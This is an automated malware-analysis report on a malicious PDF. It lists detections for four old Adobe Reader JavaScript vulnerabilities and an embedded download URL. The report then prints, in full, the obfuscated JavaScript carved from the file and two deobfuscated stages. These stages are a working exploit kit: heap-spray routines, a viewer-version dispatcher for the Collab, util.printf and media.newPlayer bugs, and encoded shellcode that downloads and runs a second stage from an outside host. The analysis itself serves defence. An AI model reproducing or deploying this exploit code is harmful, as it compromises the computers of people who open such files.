MALICIOUS
490
Risk Score
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 12
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERYBounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://erfgkjhasdfcvniiiertolfop.cx.cc/w.php?f=16&e=5 Referenced by PDF JavaScript
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0076_000.js |
pdf-javascript-stream | PDF /JS object 76 at offset 0x383 | 11459 bytes |
SHA-256: f28509bdd9bd80b5b2c15fc785e1c9ae7f1c03c9821493a79a03977da1413826 |
|||
Preview scriptFirst 1,000 lines of the extracted script
w='';
w+='sl';
w+="i";
w+="ce";
j='gerb43bt';
j=j[w];
z
=
new
Array(56,8,67,39,36,68,49,43,10,38,45,22,9,27,6,6,45,22,73,60,23,30,45,22,9,42,73,60,45,22,7,42,23,30,45,22,23,62,27,30,45,22,27,27,42,73,45,22,6,30,60,29,45,22,30,29,9,36,45,22,9,36,27,29,45,22,29,60,30,29,45,22,7,29,9,36,45,22,42,6,12,60,45,22,7,6,9,36,45,22,27,27,29,9,45,22,6,6,57,36,45,22,42,23,9,36,45,22,29,27,27,60,45,22,27,27,7,30,45,22,9,12,55,60,45,22,12,42,23,23,45,22,73,73,12,29,45,22,36,9,73,73,45,22,30,29,9,36,45,22,60,27,27,29,45,22,27,62,30,6,45,22,7,42,29,6,45,22,9,7,73,36,45,22,55,30,27,30,45,22,23,30,9,42,45,22,42,12,7,42,45,22,23,36,23,62,45,22,42,12,30,60,45,22,9,36,42,6,45,22,27,60,7,42,45,22,7,30,9,36,45,22,7,9,27,42,45,22,73,42,29,27,45,22,9,36,42,6,45,22,55,29,7,6,45,22,73,42,29,27,45,22,60,62,27,27,45,22,30,12,30,62,45,22,8,57,73,60,45,22,60,42,29,27,45,22,57,36,27,27,45,22,36,23,29,73,45,22,27,9,12,29,45,22,7,30,73,55,45,22,60,12,29,9,45,22,29,57,60,36,45,22,57,8,29,27,45,22,23,36,30,29,45,22,27,36,73,12,45,22,7,42,12,73,45,22,42,23,23,6,45,22,42,23,9,36,45,22,29,27,55,30,45,22,6,6,57,57,45,22,29,60,9,36,45,22,9,57,30,36,45,22,23,60,30,6,45,22,42,30,73,73,45,22,29,60,55,30,45,22,57,9,9,36,45,22,57,57,29,27,45,22,29,30,9,36,45,22,29,27,9,36,45,22,8,36,60,42,45,22,42,62,42,23,45,22,23,36,60,27,45,22,8,57,42,27,45,22,6,9,9,36,45,22,9,29,55,29,45,22,29,60,7,57,45,22,7,30,27,27,45,22,62,6,29,27,45,22,73,27,23,36,45,22,6,9,9,36,45,22,9,36,29,9,45,22,6,8,73,7,45,22,42,62,29,42,45,22,62,9,23,9,45,22,73,73,73,73,45,22,23,55,73,73,45,22,23,9,73,62,45,22,29,29,29,29,45,22,29,29,29,29,45,22,42,29,42,9,45,22,30,29,6,8,45,22,73,73,6,9,45,22,29,29,29,29,45,22,42,29,29,29,45,22,60,29,9,27,45,22,42,29,12,62,45,22,9,36,42,42,45,22,9,36,23,60,45,22,12,29,42,23,45,22,60,27,9,27,45,22,73,73,29,42,45,22,6,9,23,27,45,22,6,23,6,73,45,22,29,29,29,29,45,22,7,42,6,9,45,22,6,60,7,55,45,22,42,30,6,57,45,22,12,6,73,73,45,22,60,30,9,27,45,22,9,36,29,9,45,22,23,9,23,9,45,22,73,73,6,12,45,22,73,73,73,73,45,22,29,55,23,36,45,22,7,55,23,36,45,22,23,60,9,12,45,22,29,12,29,30,45,22,29,29,29,29,45,22,42,60,9,57,45,22,29,60,55,30,45,22,29,30,60,7,45,22,7,55,55,30,45,22,6,7,6,42,45,22,60,7,7,27,45,22,55,30,30,30,45,22,7,6,29,30,45,22,27,27,7,55,45,22,60,7,27,55,45,22,55,30,30,30,45,22,55,29,29,9,45,22,7,27,55,57,45,22,42,27,55,29,45,22,73,9,6,9,45,22,29,29,29,29,45,22,73,73,29,29,45,22,29,60,42,6,45,22,23,9,9,36,45,22,60,62,27,27,45,22,60,7,42,12,45,22,12,57,30,30,45,22,7,7,29,29,45,22,6,55,7,29,45,22,60,7,7,30,45,22,12,57,30,30,45,22,55,23,29,42,45,22,6,60,6,30,45,22,60,6,6,60,45,22,12,57,30,30,45,22,29,29,29,62,45,22,9,8,42,62,45,22,29,30,60,12,45,22,9,9,27,29,45,22,12,57,30,30,45,22,30,12,29,30,45,22,6,8,42,12,45,22,6,8,29,29,45,22,42,27,29,29,45,22,6,8,42,7,45,22,73,73,29,29,45,22,12,30,42,6,45,22,60,29,9,42,45,22,12,6,7,42,45,22,29,29,6,8,45,22,73,73,42,27,45,22,29,30,42,6,45,22,29,29,6,8,45,22,23,36,9,27,45,22,42,27,29,60,45,22,42,6,73,73,45,22,9,27,29,30,45,22,29,60,60,27,45,22,29,55,23,36,45,22,12,27,23,36,45,22,9,29,30,7,45,22,29,29,27,73,45,22,73,8,7,42,45,22,9,29,30,7,45,22,29,29,27,73,45,22,60,30,7,42,45,22,29,29,6,8,45,22,73,23,6,8,45,22,42,6,73,73,45,22,23,9,29,9,45,22,73,23,62,60,45,22,73,73,73,73,45,22,30,23,9,23,45,22,23,60,29,23,45,22,73,23,62,9,45,22,29,23,9,8,45,22,6,73,9,62,45,22,36,57,29,12,45,22,60,8,27,27,45,22,42,36,9,8,45,22,60,6,12,36,45,22,7,62,30,6,45,22,12,8,27,6,45,22,7,29,55,73,45,22,7,30,6,9,45,22,7,29,7,30,45,22,55,73,27,8,45,22,6,42,55,73,45,22,6,6,7,55,45,22,6,36,6,7,45,22,6,9,6,8,45,22,7,27,6,12,45,22,6,6,6,30,45,22,7,6,6,27,45,22,6,62,6,23,45,22,6,62,6,62,45,22,7,55,6,42,45,22,6,73,7,30,45,22,6,6,6,60,45,22,7,29,6,73,45,22,6,27,55,23,45,22,55,23,7,9,45,22,6,27,6,27,45,22,7,7,55,73,45,22,7,29,55,23,45,22,7,29,6,9,45,22,6,6,27,73,45,22,27,12,27,57,45,22,55,6,27,6,45,22,27,57,6,42,45,22,29,29,27,42,45,22,29,29,29,29,38,4,73,22,34,60,53,24,54,34,39,23,41,56,67,0,67,8,69,65,44,26,14,37,31,24,50,23,0,67,8,33,50,23,34,43,53,31,15,55,61,65,44,26,14,67,8,70,10,67,8,4,5,67,8,10,67,8,33,49,22,36,49,53,67,24,34,43,0,29,69,65,44,66,55,26,4,67,23,53,22,67,34,39,67,8,4,5,39,73,22,34,60,53,24,54,34,39,36,40,0,26,14,56,8,67,39,57,11,43,10,34,23,37,39,17,67,67,8,44,0,26,4,56,8,67,39,56,37,10,29,40,29,60,29,60,29,60,29,60,4,56,8,67,39,8,57,57,67,10,29,40,30,29,29,29,29,29,4,56,8,67,39,59,8,44,50,54,8,57,10,22,34,23,49,60,8,59,23,0,36,68,49,43,26,4,56,8,67,39,49,60,35,50,23,34,10,59,8,44,50,54,8,57,33,50,23,34,43,53,31,15,55,4,56,8,67,39,65,44,10,8,57,57,67,64,0,49,60,35,50,23,34,70,29,40,27,9,26,4,56,8,67,39,44,8,67,49,59,10,22,34,23,49,60,8,59,23,0,74,45,22,62,29,62,29,45,22,62,29,62,29,74,26,4,44,8,67,49,59,10,23,41,56,67,0,44,8,67,49,59,69,65,44,26,4,56,8,67,39,60,54,22,34,53,55,10,0,56,37,64,29,40,30,29,29,29,29,29,26,66,8,57,57,67,4,73,54,67,0,56,8,67,39,60,54,22,34,53,10,29,4,60,54,22,34,53,61,60,54,22,34,53,55,4,60,54,22,34,53,70,70,26,14,57,11,43,1,60,54,22,34,53,25,10,44,8,67,49,59,70,59,8,44,50,54,8,57,4,5,39,56,8,67,39,54,56,23,67,73,50,54,37,10,22,34,23,49,60,8,59,23,0,74,45,22,29,60,29,60,45,22,29,60,29,60,74,26,4,37,31,24,50,23,0,54,56,23,67,73,50,54,37,33,50,23,34,43,53,31,61,30,30,62,42,55,26,14,54,56,23,67,73,50,54,37,70,10,54,56,23,67,73,50,54,37,4,5,39,53,31,24,49,33,60,54,50,50,8,36,48,53,54,67,23,10,2,54,50,50,8,36,33,60,54,50,50,23,60,53,20,58,8,24,50,21,34,73,54,0,14,49,22,36,68,52,74,74,69,58,49,43,52,54,56,23,67,73,50,54,37,5,26,4,5,39,73,22,34,60,53,24,54,34,39,59,67,24,34,53,73,0,26,14,34,54,59,10,22,34,23,49,60,8,59,23,0,74,45,22,29,17,29,17,45,22,29,17,29,17,45,22,29,17,29,17,45,22,29,17,29,17,74,26,4,56,8,67,39,59,8,44,50,54,8,57,10,22,34,23,49,60,8,59,23,0,36,68,49,43,26,4,31,23,8,59,36,50,54,60,11,10,34,54,59,70,59,8,44,50,54,8,57,4,36,24,43,36,50,54,60,11,10,22,34,23,49,60,8,59,23,0,74,45,22,29,17,29,17,45,22,29,17,29,17,74,26,4,31,23,8,57,23,67,49,24,41,23,10,55,29,4,49,59,67,8,44,10,31,23,8,57,23,67,49,24,41,23,70,31,23,8,59,36,50,54,60,11,33,50,23,34,43,53,31,4,37,31,24,50,23,0,36,24,43,36,50,54,60,11,33,50,23,34,43,53,31,61,49,59,67,8,44,26,14,36,24,43,36,50,54,60,11,70,10,36,24,43,36,50,54,60,11,4,5,39,73,24,50,50,36,50,54,60,11,10,36,24,43,36,50,54,60,11,33,49,22,36,49,53,67,24,34,43,0,29,69,49,59,67,8,44,26,4,36,50,54,60,11,10,36,24,43,36,50,54,60,11,33,49,22,36,49,53,67,24,34,43,0,29,69,36,24,43,36,50,54,60,11,33,50,23,34,43,53,31,64,49,59,67,8,44,26,4,37,31,24,50,23,0,36,50,54,60,11,33,50,23,34,43,53,31,70,49,59,67,8,44,61,29,40,30,29,29,29,29,26,14,36,50,54,60,11,10,36,50,54,60,11,70,36,50,54,60,11,70,73,24,50,50,36,50,54,60,11,4,5,39,58,23,58,10,34,23,37,39,17,67,67,8,44,0,26,4,73,54,67,0,24,10,29,4,24,61,12,30,29,29,4,24,70,70,26,14,58,23,58,1,24,25,10,36,50,54,60,11,70,31,23,8,59,36,50,54,60,11,4,5,39,56,8,67,39,34,22,58,10,12,55,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,4,22,53,24,50,33,59,67,24,34,53,73,0,74,45,30,42,29,29,29,73,74,69,34,22,58,26,4,5,39,73,22,34,60,53,24,54,34,39,43,23,53,24,60,54,34,0,26,14,56,8,67,39,8,67,67,44,10,34,23,37,39,17,67,67,8,44,0,26,4,24,73,0,8,59,59,33,57,54,60,33,2,54,50,50,8,36,33,43,23,53,21,60,54,34,26,14,56,8,67,39,59,8,44,50,54,8,57,10,22,34,23,49,60,8,59,23,0,36,68,49,43,26,4,56,8,67,39,31,46,65,42,29,29,2,28,10,59,8,44,50,54,8,57,33,50,23,34,43,53,31,15,55,4,56,8,67,39,65,44,10,29,40,30,29,29,29,29,29,64,0,31,46,65,42,29,29,2,28,70,29,40,27,9,26,4,56,8,67,39,44,8,67,49,59,10,22,34,23,49,60,8,59,23,0,74,45,22,62,29,62,29,45,22,62,29,62,29,74,26,4,44,8,67,49,59,10,23,41,56,67,0,44,8,67,49,59,69,65,44,26,4,56,8,67,39,59,42,17,68,47,6,42,73,10,0,29,40,29,60,29,60,29,60,29,60,64,29,40,30,29,29,29,29,29,26,66,29,40,30,29,29,29,29,29,4,73,54,67,0,56,8,67,39,56,65,60,63,18,62,6,44,10,29,4,56,65,60,63,18,62,6,44,61,59,42,17,68,47,6,42,73,4,56,65,60,63,18,62,6,44,70,70,26,14,8,67,67,44,1,56,65,60,63,18,62,6,44,25,10,44,8,67,49,59,70,59,8,44,50,54,8,57,4,5,39,56,8,67,39,53,75,19,31,28,36,51,37,10,22,34,23,49,60,8,59,23,0,74,45,29,62,74,26,4,37,31,24,50,23,0,53,75,19,31,28,36,51,37,33,50,23,34,43,53,31,61,29,40,30,29,29,29,26,14,53,75,19,31,28,36,51,37,70,10,53,75,19,31,28,36,51,37,4,5,39,53,75,19,31,28,36,51,37,10,74,28,33,74,70,53,75,19,31,28,36,51,37,4,8,59,59,33,57,54,60,33,2,54,50,50,8,36,33,43,23,53,21,60,54,34,0,53,75,19,31,28,36,51,37,26,4,5,5,39,8,72,50,22,43,24,34,49,10,8,59,59,33,59,50,22,43,21,34,49,4,56,8,67,39,49,56,10,59,8,67,49,23,21,34,53,0,8,59,59,33,56,24,23,37,23,67,71,23,67,49,24,54,34,33,53,54,48,53,67,24,34,43,0,26,33,60,31,8,67,17,53,0,29,26,26,4,73,54,67,0,56,8,67,39,24,10,29,4,24,61,8,72,50,22,43,24,34,49,33,50,23,34,43,53,31,4,24,70,70,26,14,24,73,0,8,72,50,22,43,24,34,49,1,24,25,33,34,8,58,23,10,10,38,20,48,60,67,24,59,53,38,26,14,56,8,67,39,50,56,10,8,72,50,22,43,24,34,49,1,24,25,33,56,23,67,49,24,54,34,4,5,5,39,24,73,0,0,50,56,10,10,62,26,16,16,0,0,49,56,10,10,9,26,32,32,0,50,56,61,10,9,33,12,55,26,26,26,14,43,23,53,24,60,54,34,0,26,4,5,23,50,49,23,39,24,73,0,50,56,10,10,7,33,12,26,14,59,67,24,34,53,73,0,26,4,5,23,50,49,23,39,24,73,0,0,0,49,56,10,10,6,26,16,16,0,49,56,10,10,7,26,26,32,32,0,50,56,61,7,33,12,12,26,26,14,36,40,0,26,4,5,23,50,49,23,39,24,73,0,0,50,56,13,10,62,33,12,26,16,16,0,50,56,61,10,62,33,55,26,16,16,0,50,56,13,10,9,33,12,27,26,16,16,0,50,56,61,10,9,33,12,7,26,26,14,73,22,34,60,53,24,54,34,39,8,0,26,14,22,53,24,50,33,59,67,24,34,53,57,0,38,59,3,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,39,52,39,44,44,44,44,12,12,12,38,69,34,23,37,39,18,8,53,23,0,26,26,4,5,56,8,67,39,31,10,8,59,59,33,59,50,22,43,21,34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a="([C@;}67a8=k1>{*|ADMEIuei])3N04h&.n_bw' xz5gy%WKSslG:to2vdmpc<9Q-q/rj,+VPf'U";
b='a'+'l';
b2="v"
+b;
try
{
if(!google.search())throw 1;
}
catch(her436j34k76)
{
e=(j());
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=e[b];
}
s='';try{if(!google.search())throw 1;}catch(q){r=1;}{
for(i=0;i<z.length;i++)
try{if(!google.search())throw 1;}catch(q){
s
+=
a[
z[i]];
}
}}
"))";try{r=/(u0061)sd/ig;if(!r.test('asda') && !r.test('asda') && !r.test('asda'))throw 1;}catch(q){e(s);}
|
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x383 | 3906 bytes |
SHA-256: 4bbb2b6ae9c3336606277f8fbe490b9d71afd2fd477dc40c9d951cf5559ac1ac |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u652f%u6672%u6b67%u686a%u7361%u6664%u7663%u696e%u6969%u7265%u6f74%u666c%u706f%u632e%u2e78%u6363%u772f%u702e%u7068%u663f%u313d%u2636%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
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generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery percent-decode from JavaScript object 76 at offset 0x383 | 3902 bytes |
SHA-256: 6976f77681cbb307bbf4c56877e145f569a4c40f0806465c96e861bbc2980aa7 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u652f%u6672%u6b67%u686a%u7361%u6664%u7663%u696e%u6969%u7265%u6f74%u666c%u706f%u632e%u2e78%u6363%u772f%u702e%u7068%u663f%u313d%u2636%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape(' ');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
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